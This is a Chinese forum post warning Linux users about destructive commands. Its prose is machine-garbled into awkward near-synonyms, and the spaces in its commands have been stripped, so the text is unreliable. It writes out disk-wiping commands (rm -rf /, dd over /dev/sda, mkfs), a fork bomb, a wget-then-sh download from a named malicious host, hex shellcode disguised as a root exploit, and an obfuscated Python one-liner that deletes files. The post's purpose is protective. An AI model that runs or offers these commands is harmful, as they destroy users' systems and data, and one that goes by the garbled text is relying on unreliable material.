|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
开发linux发行版的人都是通读过linux内核代码,对linux原理极其精通的人。
编者注:文中列出的命令相对不成以运转,即便你以为很猎奇也不可,除非你是在假造机上运转(呈现成绩你能够复原),由于它们会实其实在的损坏你的体系。以是不在root等初级办理权限下实行命令是很好的习气。
日夕有一天,Linux体系会像Windows那样盛行,用的人愈来愈多,包含对盘算机不是很懂得的人,本文的目标就是告知人人:在Linux给你最年夜水平自在度的同时,也使得损坏体系变得加倍简单,假如你不懂得某些命令的意义,下载实行包括歹意命令的剧本,大概上圈套运转某些命令,很简单让你哭都来不及。
这并非申明Linux不平安,只是申明在不懂得Linux,和很不当心的人眼前,Linux非常不平安。Windows也好,Linux也好,人自己才是最年夜的不平安要素。
上面的命令会删除你硬盘上的文件,rm的-r递回删除,和-f强迫删除是很伤害的选项,即便一样平常操纵,也会碰到误删文件的情形。
sudorm-rf/删除根分区全体的文件
sudorm-rf.删除以后目次下的一切文件
sudorm-rf*同上
rm-rf*orrm-rf*.*同上
rm-rf~/&删除根分区和家目次,即便你不是root,家目次仍是不克不及幸免。
一样,假如你不晓得mkfs.xxxx(xxxx能够是vfat、ext2、ext3、bfs……)是格局化命令的话,运转上面的命令会擦除你的硬盘分区:
sudomkfs.xxxx
dd是壮大的IO输出输入定向工具,假如利用不妥,损坏性很年夜,不单单是以后分区,以后体系,有的时分是全部硬盘。
sudoddif=/dev/zeroof=/dev/sda全体硬盘清零。
sudoddif=/dev/sdaof=/dev/sdb用第一块硬盘的内容掩盖第二块的内容。
sudoddif=somethingof=/dev/sda往硬盘上写渣滓数据。
同理,间接把命令了局定向到硬盘上,相称于往硬盘上写渣滓数据:
any_command>/dev/sda用随便的数据损坏硬盘
下面的sda、sdb也多是其他相似的称号。Linux的/dev体系给利用硬件供应了很便利和壮大的功效,同时也使得损坏变得更简单。
fork命令翻开一个子历程,假如把fork放在无穷轮回中,终极子历程会耗尽一切内存资本:
:(){:|:&};:
这段不知所云的标记,可让Shell一直的fork子历程,最初招致内存耗尽,不能不重启,这不是bug,只是Shell语句存心写成简写的情势罢了。上面的同理:
forkwhilefork
有的时分,紧缩包也是一个损坏来历~
有的紧缩包请求你解压到某个体系中已存在的目次中,这时候候你就要出格当心了,紧缩包内里大概有不计其数的小文件,以各类文件名实验掩盖你现有的文件。
有的紧缩包看起来很小,可是解压出来是上GB的渣滓数据,会充溢你的硬盘。
从不正轨网站下载的程序、剧本,一样会有包括歹意命令的伤害,不成任意实行:
wgethttp://some_place/some_file
sh./some_file
wgethttp://hax018r.org/malicious-script
sh./malicious-script
载剧本要确保来历正轨,假如有才能,能够浏览其代码。
即便有源代码的程序,也不要任意编译实行:
charesp[]__attribute__((section(".text")))/*e.s.p
release*/
="xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp-p/bin/sh/tmp/.beyond;chmod4755
/tmp/.beyond;";
下面看起来只是一堆没成心义的16进制数据,假如有人告知你,运转这个程序你就能够不输出暗码获得体系的root权限,你可不要信任他,下面的程序实践运转的是“rm-rf~/&”。
python一类的剧本言语,一样能够拿来弄损坏:
python-cimportos;os.system("".join([chr(ord(i)-1)foriin"sn!.sg!"]))
这段程序实践上会实行rm-rf*,大概你很奇异下面程序开头的“sn!.sg!”是甚么意义,实践上就是rm-rf*每一个字母的下一个!
那末我们怎样制止运转歹意程序呢?
第一不要用root作为一样平常利用的用户,下面的程序,假如以后用户不是root,伤害的涉及局限就会小良多。
第二要晓得哪些命令是干甚么用的,不晓得的命令不要贸然运转。运转有潜伏损坏才能的程序,要当心反省本人的输出。
第三要包管软件、剧本的来历正轨。
最初一点,固然对照悲观,可是的确非常主要的一点:
常常备份你的数据!!
</p>
要多google,因为我不可能,也不可以给你解答所有内容,我只能告诉你一些关键点,甚至我会故意隐瞒答案,因为在寻找答案的过程中。 |
|